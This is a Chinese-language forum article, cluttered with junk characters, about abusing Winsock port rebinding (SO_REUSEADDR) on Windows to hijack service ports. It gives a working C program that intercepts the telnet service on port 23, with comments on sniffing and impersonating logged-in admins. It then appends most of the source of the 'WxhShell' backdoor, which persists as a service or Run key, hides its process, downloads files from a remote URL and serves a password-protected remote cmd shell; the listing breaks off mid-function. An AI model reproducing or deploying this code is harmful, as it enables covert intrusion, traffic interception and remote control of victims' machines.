在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
,|;\)tT s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
;?TM_%> k'sPA_| saddr.sin_family = AF_INET;
_EP~PW#J T.B7QAI. H saddr.sin_addr.s_addr = htonl(INADDR_ANY);
wbk$(P'gN obv_?i1 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
(yeWArQ ELg$tc 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
AM#s2.@ +tG' 这意味着什么?意味着可以进行如下的攻击:
\.GA"_y 1=z\,~b 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
CL?=j| Ea &Z9rQH81f> 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Po.by~| e?
|4O<@ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
ttt4h !9.\A:G 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
+1\t0P24 G_WHW(8 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
fEtBodA) T{N8 K K 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
^gY'^2bzxu 5`i+aH( 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
EY
c)v6[ 'z=d&K #include
Qw"%Xk #include
(.wR!l#! #include
\NKw,`/ #include
=.):tGDp DWORD WINAPI ClientThread(LPVOID lpParam);
}^b int main()
RXu`DWN {
9C!b
f \ WORD wVersionRequested;
<^942y-= DWORD ret;
N|
P?!G-= WSADATA wsaData;
V?jWp$ BOOL val;
#/_ VY. SOCKADDR_IN saddr;
pwB>$7(_h SOCKADDR_IN scaddr;
r]aI=w<(f int err;
WD*z..` SOCKET s;
WY5HmNX3E SOCKET sc;
6uk}4bdvq int caddsize;
TQ%F\@" HANDLE mt;
%ZDO0P !/ DWORD tid;
sWKdqs wVersionRequested = MAKEWORD( 2, 2 );
-[h|*G.J err = WSAStartup( wVersionRequested, &wsaData );
M=4b if ( err != 0 ) {
TZ}y%iU:mB printf("error!WSAStartup failed!\n");
m}>Q#IVZ return -1;
YOA)paq+ }
?V(+Cc saddr.sin_family = AF_INET;
6!;D],,"#. k\g:uIsv$ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
hDBo
XIK QR<<O saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
9ESV[ saddr.sin_port = htons(23);
/*GCuc| if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Y'#uZA3KA {
:oiHf: printf("error!socket failed!\n");
%&s4YD/{ return -1;
O3#eQs }
C<w&mFozL val = TRUE;
SDk^fTV8x //SO_REUSEADDR选项就是可以实现端口重绑定的
,e
GF~ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
,# %I$ {
l|;]"&|_]c printf("error!setsockopt failed!\n");
%J9+`uSl return -1;
.S* sGauM }
C9,Uwz<!] //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
M~+DxnJ= //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
][YC.J //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
NfmHa $s 'n]]Wq if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
g8"H{u {
n?9FJOqi ret=GetLastError();
C5e;U printf("error!bind failed!\n");
7*He 8G[W return -1;
=j{Kxnv }
3~Ap1_9 listen(s,2);
}_7 while(1)
0\!v{A>
I' {
QiJ caddsize = sizeof(scaddr);
7")~JBH //接受连接请求
{A)9ePgv! sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
\BO6.;jA if(sc!=INVALID_SOCKET)
+AFBTJ {
ToD_9i
}6 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
NYzBfL
x if(mt==NULL)
wyLyPJv {
\eRct_ printf("Thread Creat Failed!\n");
/Ba/gq0j break;
*>xCX }
t
>.=q: }
1jaK N* CloseHandle(mt);
cIP%t pTW. }
Ynp#3 r closesocket(s);
_1~pG)y$U WSACleanup();
o%0To{MAF- return 0;
iO2jT+i }
~@T`0W-Py DWORD WINAPI ClientThread(LPVOID lpParam)
%J1oz3n {
Jje!*?&8X SOCKET ss = (SOCKET)lpParam;
x@[6u SOCKET sc;
k~,
k@mR unsigned char buf[4096];
/w2-Pgm-[\ SOCKADDR_IN saddr;
,lFp4 C long num;
9n"MNedqH DWORD val;
jX^_(Kg DWORD ret;
imKMPO= //如果是隐藏端口应用的话,可以在此处加一些判断
!fjB oK+ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
.1_kRy2*. saddr.sin_family = AF_INET;
\^jRMIM== saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
wyXQP+9G saddr.sin_port = htons(23);
jdx T662q if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~=|QPO(d {
p%K(dA printf("error!socket failed!\n");
t 6lwKK return -1;
x0) WrDb }
M5L /3qLh1 val = 100;
cmU>A721 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
K_!:oe7% {
}<*KM)% ret = GetLastError();
tf[)| /M return -1;
3Vak
C }
QX-n l~ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ru4M=D {
b`F]oQ_* ret = GetLastError();
pbw{EzM return -1;
{-%8RSK=< }
z%\&n0 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
RaP,dR+P {
%E"Z &_3{ printf("error!socket connect failed!\n");
;k,@^f8 closesocket(sc);
? PpS4Rd closesocket(ss);
2 gR*] ?C* return -1;
1+YqdDqQ }
P+QL||>L while(1)
`PSjkF( {
Xg*](>/\, //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
aPQxpK? //如果是嗅探内容的话,可以再此处进行内容分析和记录
qv'w 7T //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
[+!&iN num = recv(ss,buf,4096,0);
I0!]J{ if(num>0)
$g/h=w@ send(sc,buf,num,0);
e+MQmWA'F else if(num==0)
yrd1J$ break;
C7DwA/$D num = recv(sc,buf,4096,0);
<XN=v!2; if(num>0)
NCl@C$W9q send(ss,buf,num,0);
n7yp6Db else if(num==0)
-:OJX #j break;
FZLx.3k4 }
Yy6$q\@rV closesocket(ss);
?Ygd|a5 closesocket(sc);
M>}_2G]#F return 0 ;
Qkhor-f0 }
$48Z>ij?f 1aCpeD4|) q'TIN{\.{ ==========================================================
d`=LZio BRM!g9 下边附上一个代码,,WXhSHELL
4u"Bll D2=zrU3Y64 ==========================================================
-Tn%O|#K +T8MQ[(4 #include "stdafx.h"
O%N. ;Ve 8@RtL,[d #include <stdio.h>
jL'`M%8O #include <string.h>
#<EYO #include <windows.h>
S4'<kF0z #include <winsock2.h>
*[|+5LVn #include <winsvc.h>
}W&9} 9p" #include <urlmon.h>
1:>F{g +C[g>c}d #pragma comment (lib, "Ws2_32.lib")
Ez-Q'v(9 #pragma comment (lib, "urlmon.lib")
w~ON861 $2RSYI`py #define MAX_USER 100 // 最大客户端连接数
?_cOU@n #define BUF_SOCK 200 // sock buffer
-'SA&[7dP #define KEY_BUFF 255 // 输入 buffer
6U.|0mG[ &/WE{W #define REBOOT 0 // 重启
~E!kx #define SHUTDOWN 1 // 关机
L(sT/ ;{q* #define DEF_PORT 5000 // 监听端口
P.QF9% ~QDM
.5 #define REG_LEN 16 // 注册表键长度
C+[)^2M{ #define SVC_LEN 80 // NT服务名长度
MU(I#Prpe -; J6S // 从dll定义API
wy0?*)~ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
#V%98|" typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
RS
l*u[fB typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
M.r7^9 P typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Kf*Dy:e ^$sqU // wxhshell配置信息
.Y"F3
R struct WSCFG {
32j}ep.* int ws_port; // 监听端口
j@D,2B; char ws_passstr[REG_LEN]; // 口令
C4P<GtR9 int ws_autoins; // 安装标记, 1=yes 0=no
XM,slQ char ws_regname[REG_LEN]; // 注册表键名
qb/}&J7+ char ws_svcname[REG_LEN]; // 服务名
aWJj@',_ char ws_svcdisp[SVC_LEN]; // 服务显示名
p:z~>ca char ws_svcdesc[SVC_LEN]; // 服务描述信息
i7e6l C char ws_passmsg[SVC_LEN]; // 密码输入提示信息
[.1MElM int ws_downexe; // 下载执行标记, 1=yes 0=no
Qh(X7B char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
:GO"bsjL char ws_filenam[SVC_LEN]; // 下载后保存的文件名
LO>42o?/i %dv?n#Uf };
M
+r!63T $(Mz@#% // default Wxhshell configuration
7.6L1srV struct WSCFG wscfg={DEF_PORT,
?Ve IlD "xuhuanlingzhe",
`fTM/" 1,
Y)+q[MZ R "Wxhshell",
+yHz7^6-5 "Wxhshell",
\Z&Nd;o "WxhShell Service",
-THMTRFz "Wrsky Windows CmdShell Service",
$2?j2}M "Please Input Your Password: ",
fe,6YXUf 1,
=I)43ahd "
http://www.wrsky.com/wxhshell.exe",
kFV, Fg "Wxhshell.exe"
. R/y`:1:W };
;}"Eqq: zdd-n[%@V // 消息定义模块
\r[u>7I char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
IT&,?u% char *msg_ws_prompt="\n\r? for help\n\r#>";
Y`Io}h G$ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
vIbM@Y4
'? char *msg_ws_ext="\n\rExit.";
dK4rrO char *msg_ws_end="\n\rQuit.";
P
<+0sh char *msg_ws_boot="\n\rReboot...";
)AQ^PBwp char *msg_ws_poff="\n\rShutdown...";
5UO+c(T char *msg_ws_down="\n\rSave to ";
E3]WRF;l So'.QWzX char *msg_ws_err="\n\rErr!";
*{!Y_FrL char *msg_ws_ok="\n\rOK!";
fzQR0 @qq"X'3t char ExeFile[MAX_PATH];
"cPg_-n int nUser = 0;
z+yIP ?s}( HANDLE handles[MAX_USER];
C?T\5}h int OsIsNt;
gJ'pwSA eY5mwJ0K SERVICE_STATUS serviceStatus;
%dFJ'[jDL SERVICE_STATUS_HANDLE hServiceStatusHandle;
Qop,~yK E<[
s+iX // 函数声明
}|Mwv
$` int Install(void);
f,KB BBbG int Uninstall(void);
cN8Fn4gq int DownloadFile(char *sURL, SOCKET wsh);
Z,A $h>Z int Boot(int flag);
dQ.#8o= void HideProc(void);
\`2'W1O int GetOsVer(void);
t'l4$}( int Wxhshell(SOCKET wsl);
=I@t%Y void TalkWithClient(void *cs);
"4)N]Nj int CmdShell(SOCKET sock);
"+-
'o+ int StartFromService(void);
P*OG`%y int StartWxhshell(LPSTR lpCmdLine);
0)332}Oh ]A'{DKR VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
D3X4@sM VOID WINAPI NTServiceHandler( DWORD fdwControl );
AcPLJ!y Aj4 a-vd. // 数据结构和表定义
kz7FQE SERVICE_TABLE_ENTRY DispatchTable[] =
VTM* 1uXS> {
0lg$zi x( {wscfg.ws_svcname, NTServiceMain},
H.@$#D {NULL, NULL}
~\jP+[>M' };
V0>X2&.A EIg~^xK // 自我安装
3k`Q]O=OU int Install(void)
gHrs|6q9 {
v$|~
g'6 char svExeFile[MAX_PATH];
3SP";3+ HKEY key;
D}98ZKi strcpy(svExeFile,ExeFile);
30!DraW8 (WyNO QO' // 如果是win9x系统,修改注册表设为自启动
$Es\ld if(!OsIsNt) {
fRQ,Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Z~~6y6p RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
3R+%C* 7 RegCloseKey(key);
.ybmJU*Hg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
w`)5(~b RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Mw/9DrE7/ RegCloseKey(key);
`$B?TNuch7 return 0;
~oa}gJl:}- }
]P0%S@] }
CO='[1"_5 }
gEd A
hfx else {
e0zP LU} olE(#}7V // 如果是NT以上系统,安装为系统服务
u
]e-IYH SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
OlOOg if (schSCManager!=0)
i/x |c!E {
x#D%3v"l_* SC_HANDLE schService = CreateService
p"ZvA^d\ (
K381B5_h schSCManager,
-e/}DGL wscfg.ws_svcname,
wUv?;Y$C wscfg.ws_svcdisp,
hG?y)g\A SERVICE_ALL_ACCESS,
| ys5.| SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
ga5Q SERVICE_AUTO_START,
9\_AB.Z: SERVICE_ERROR_NORMAL,
/?'~`4!( svExeFile,
("2X8(3z NULL,
M:/NW-: NULL,
ws'e NULL,
.Vbd-jr'M NULL,
tOiz tYu NULL
.SD-6GVD );
_O`p (6 if (schService!=0)
h0tiWHw {
R^l0Bu]X CloseServiceHandle(schService);
'"B CloseServiceHandle(schSCManager);
Kjd3!%4mB strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Qr$'Q7 strcat(svExeFile,wscfg.ws_svcname);
e*7O!Z=O if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
.<%tu 0 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
>G6kF!V RegCloseKey(key);
>1j#XA8 return 0;
q]?qeF[ }
9zwD%3Ufn }
4X+xh|R:U CloseServiceHandle(schSCManager);
k pgA2u7 }
n/_q }
.G{cx=; 3K
&637 return 1;
?+t;\ }
ys9:";X;} FS1\`#Bm) // 自我卸载
|>;PV4])( int Uninstall(void)
U>2KjZB {
9 C[~*,qx HKEY key;
GW,EyOE+~ NUV">i.( if(!OsIsNt) {
{rc3`<% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
*D?=Ts RegDeleteValue(key,wscfg.ws_regname);
.4zzPD$1 RegCloseKey(key);
jJ#D`iog5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
g0B] ;Y>( RegDeleteValue(key,wscfg.ws_regname);
d&+]@ Ii RegCloseKey(key);
z%8`F%2 return 0;
t1w5U+z }
^Ps! }
FK^xZ?G }
``l*;} else {
?b]zsku8 LCorT- SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
<_YdN)x if (schSCManager!=0)
u7< +)6- {
D$}hoM1 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
gi!_Nz if (schService!=0)
m_)- {
c]4X`3] if(DeleteService(schService)!=0) {
#X-C~*|>j CloseServiceHandle(schService);
dc)%5fV\ CloseServiceHandle(schSCManager);
7{m>W! return 0;
^*ZaqMA }
:uCwWv CloseServiceHandle(schService);
"\o#YC }
w6vbYPCN CloseServiceHandle(schSCManager);
KuJ)alD;1 }
L$PbC!1 }
Nf]?hfJ ;fNCbyg4
I return 1;
5A0]+)5E8 }
j\ y! t%qep| // 从指定url下载文件
=yod int DownloadFile(char *sURL, SOCKET wsh)
^Q8yb*MN {
s5*4<VxQN. HRESULT hr;
`%Ih'(ne char seps[]= "/";
VIAq$iu7 char *token;
EH844k8
p char *file;
mjD^iu8? char myURL[MAX_PATH];
_&-d0'+ char myFILE[MAX_PATH];
r&LZH.$oh v'hc-Q9+> strcpy(myURL,sURL);
0D,@^vw bK token=strtok(myURL,seps);
v`|]57?A while(token!=NULL)
h@
lz {
|m's) file=token;
OJe!K: token=strtok(NULL,seps);
]9YA~n\ }
u>
{aF{ :E")Zw&sW3 GetCurrentDirectory(MAX_PATH,myFILE);
vkG#G]Qs"; strcat(myFILE, "\\");
E)*ht;u strcat(myFILE, file);
&wQ;J)13 send(wsh,myFILE,strlen(myFILE),0);
edL2ax send(wsh,"...",3,0);
Ze0qRLuH! hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
PNm@mC_fh if(hr==S_OK)
|+Wn5iT return 0;
[ cB^6v else
H'WYnhU& return 1;
(_pw\zk> l#[Z$+!09 }
(HRj0,/^ beOMln+R // 系统电源模块
&PC6C<<f int Boot(int flag)
}d%CZnY&7 {
Vlx.C~WYn HANDLE hToken;
}TTghE! TOKEN_PRIVILEGES tkp;
"l&SRX?g `rn/H;r!Z if(OsIsNt) {
T~3{$ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
zmhc\M?z LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
&{j!!LL tkp.PrivilegeCount = 1;
?M:>2wl tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
i]Mem M- AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
9^/Y7Wp/@ if(flag==REBOOT) {
`KZV@t if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
N:lE{IvRJ return 0;
,V1"Typ#< }
_<AkM" else {
b+~_/;Y9 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Z^'~iU-? return 0;
T";evM66 }
KS*,'hvY }
yEWm.;&3= else {
}#7l-@{< if(flag==REBOOT) {
^SpQtW118 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
1]/;qNEv return 0;
iZNS? ^U }
Mxl;Im]!`. else {
]T)N{"&N/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
HO<|EH~lu return 0;
1'f_C<.0 }
|:C0_`M9 }
s)WA9PiC |3~m8v2- return 1;
RG'iWA,9m` }
&5y ^}P94( oz // win9x进程隐藏模块
(7qlp*8.s void HideProc(void)
nXn@|J&z~U {
$.D)Llcq qWH^/o HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
i(%2t(wf+ if ( hKernel != NULL )
1
*'
/B {
g|Lbe4? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
bll[E}E|3 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
*)RKU),3nL FreeLibrary(hKernel);
>N#Nz
0|( }
{@2+oOuYfN #e@NV4q return;
S
TWH2_` }
K/zb6=-> zr!7*,
p // 获取操作系统版本
G_1r&[N3 int GetOsVer(void)
{^1O {
bse`Xfg OSVERSIONINFO winfo;
[;wJM|Z J0 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
kTH""h{ GetVersionEx(&winfo);
b>ZAkz)U+ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
V.{HMeE4 return 1;
w1I07 ( else
=0?5hxM d return 0;
lo!pslqsn }
[yMSCCswW KKsVZ~<6u // 客户端句柄模块
^N^G?{EV/# int Wxhshell(SOCKET wsl)
sUlf4<_zW {
(m'-1wX. SOCKET wsh;
#HV5M1mb struct sockaddr_in client;
H5 z1_O_+ DWORD myID;
X{ x(p ;h1hz^Wq while(nUser<MAX_USER)
Tz)Ku {
|mKohV qr int nSize=sizeof(client);
:,l16{^ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
VEy]vr} if(wsh==INVALID_SOCKET) return 1;
=6U5^+|d x1Gx9z9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
2OUx@Vj if(handles[nUser]==0)
!-)!UQ~|8 closesocket(wsh);
lW5Lwyt8 else
{>
,M nUser++;
)jXKPLj }
:h(RS ; WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
i[[.1MnS Ja~8ZrcY return 0;
;=n}61 }
ho$}#o qh.F}9o // 关闭 socket
'o)Y!VYnJF void CloseIt(SOCKET wsh)
1 ?BLL;[a8 {
IoLP*D closesocket(wsh);
*f 7rLM* nUser--;
5Xr})%L ExitThread(0);
.#~!w!T }
8XYxyOl "*HM8\ // 客户端请求句柄
693"Pg8b void TalkWithClient(void *cs)
2->Lz {
SZT n=\ p0W<K SOCKET wsh=(SOCKET)cs;
v'
t'{g% char pwd[SVC_LEN];
S(CkA\[rz char cmd[KEY_BUFF];
SZXSVz0j char chr[1];
6:wk=#w int i,j;
rmggP( 2pmj*Y3"8 while (nUser < MAX_USER) {
K&&T:'=/ 3ibQbk if(wscfg.ws_passstr) {
7>z {2D if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
WyOav6/*K^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
vLxaZWr //ZeroMemory(pwd,KEY_BUFF);
+F q_w i=0;
rrz([2E2 while(i<SVC_LEN) {
\)5mO 8w <pV8
+V) // 设置超时
oUn+tu: fd_set FdRead;
$(gL#"T struct timeval TimeOut;
7zx
xO|p[ FD_ZERO(&FdRead);
d`TiY` ! FD_SET(wsh,&FdRead);
/:]<z6R TimeOut.tv_sec=8;
U\Y0v.11 TimeOut.tv_usec=0;
L+G0/G}O\ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
OLIMgc(W if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
842v^ 2
QDW,e]A if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
TgjjwcO Y pwd
=chr[0]; Q3%]
if(chr[0]==0xd || chr[0]==0xa) { k={1zl ;
pwd=0; QuEX|h,F
break; C9?mxa*z
} EVLL,x.~:z
i++; w0;4O)H$O
} 7[P-;8)tq
x2t&Wpvt
// 如果是非法用户,关闭 socket S`YT"|~
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Xg]Cq"RJC
} zWU]4;,"
q#AIN`H
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9]Ue%%vM
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h STcL:b
_cJ)v/]
while(1) { N$Ad9W?T
5.ab/uk;M
ZeroMemory(cmd,KEY_BUFF); @:RoY vk$
Dqo#+_v
// 自动支持客户端 telnet标准 X+sKG5nS
j=0; m5
sW68
while(j<KEY_BUFF) { ?;v\wx
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C_>XtcU
cmd[j]=chr[0]; oh:9v+
if(chr[0]==0xa || chr[0]==0xd) { %\,9S`0
cmd[j]=0; _BA; H+M
break; LI@BB:)[
} ?7V~>i8[
j++; 9#7W+9
} ~}j+~
)EB+(c~E
// 下载文件 vu@.;-2E%
if(strstr(cmd,"http://")) { O$r/{{I.
send(wsh,msg_ws_down,strlen(msg_ws_down),0); Pb;c:HeI/
if(DownloadFile(cmd,wsh)) 7'esJ)2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E,tdn#_|
else OnE%D|Tq=
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); , d $"`W2
} $.C-_L
else { >U`G3(#7S
>v, si].
switch(cmd[0]) { pl3ap(/
Lu6g`O:['
// 帮助 ?e6>dNw
case '?': { O6/ vFEB
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q\?p' i
break; ~IW{^u
} p%meuWV%5
// 安装 "G%</G8M
case 'i': { w>9d^kU'
if(Install()) '4{=x]K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); aOd#f:{y
else <-?C\c~G@
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iii|;v]+
break; Z5(9=8hB/
} X-nC2[tu'W
// 卸载 ws9IO ?|&G
case 'r': { X uE: dL?
if(Uninstall()) 1|4,jm $
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3%5YUG@
else (eU 4{X7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xE@/8h
break; P#!N
} gZ^Qt.6Z
// 显示 wxhshell 所在路径 QPB,B>Z
case 'p': { ;$&\:-6A#
char svExeFile[MAX_PATH]; XEA5A.uc
strcpy(svExeFile,"\n\r"); cQhr{W,Un
strcat(svExeFile,ExeFile); v]{UH{6
send(wsh,svExeFile,strlen(svExeFile),0); =MQ/z#:-P
break; YhV<.2^k
} "g5{NjimY
// 重启 F<b'{qf"
case 'b': { ':;k<(<-
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tgG*k$8z
if(Boot(REBOOT)) m=l'9j"D
send(wsh,msg_ws_err,strlen(msg_ws_err),0); YyxU/UnhG
else { K [DpH&
closesocket(wsh); t?G6|3
ExitThread(0); 2lsUCQI;
} $4xSI"+M%
break; WqF,\y%W*
} {,sqUq (
// 关机 AcuF0KWw/
case 'd': { tjFX(;^[
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B
}%2FUv
if(Boot(SHUTDOWN)) ~C%I'z'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); nI]EfHU
else { <7Pp98si,u
closesocket(wsh); \fTQNF
ExitThread(0); !\4B.
} #}y8hzS$
break; T#-;>@a}
} la+Cra&xL
// 获取shell mF\!~ag|
case 's': { a)ry}E =f
CmdShell(wsh); o p9dYjG7
closesocket(wsh); A_9^S!
ExitThread(0); ]S&ki}i&
break; Su,:f_If,
} !-7n69:G
// 退出 iWD|F-
case 'x': { Z,#H\1v3lB
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cp(qaa
CloseIt(wsh); klJ21j0Bb2
break; rT[qh+KWe
} 2.z-&lFBZ
// 离开 qMJJB l
case 'q': { viAAb
send(wsh,msg_ws_end,strlen(msg_ws_end),0); yV8J-YdsG
closesocket(wsh); vO1; ;
WSACleanup(); 6`CRT TJ7
exit(1); EWD^=VITL
break; '3672wF/
} 4c<
s"2F
} #3qeRl
} nFn!6,>E
z;S-Q,
// 提示信息 WSHPhhM
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nf
/*n
} p?Azn>qBa
} lNL=Yu2p_
xW`y7Q }p
return; 2;
^ME\
} Vbl-Ff
Z#d#n!Lz
// shell模块句柄
Bx#i?=*W
int CmdShell(SOCKET sock) 4MS<t FH)
{ C")genMH
STARTUPINFO si; Kb?{^\FiU
ZeroMemory(&si,sizeof(si)); ~'_cBJ
'XD
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;yJ:W8U]+;
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o]oiJvOr
PROCESS_INFORMATION ProcessInfo; U0_^6zd_
char cmdline[]="cmd"; 06pvI}
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _Ub
`\ytx
return 0; !e|\1v'0
} !B3TLeh
R (~wSL*R>
// 自身启动模式 R
p&J!hlA
int StartFromService(void) U7s$';y"%
{
27eG8
typedef struct >u$8Z
{ Tzex\]fw
DWORD ExitStatus; -)}s{[]d6m
DWORD PebBaseAddress; qG6s.TcG
DWORD AffinityMask; sP(+Z^/
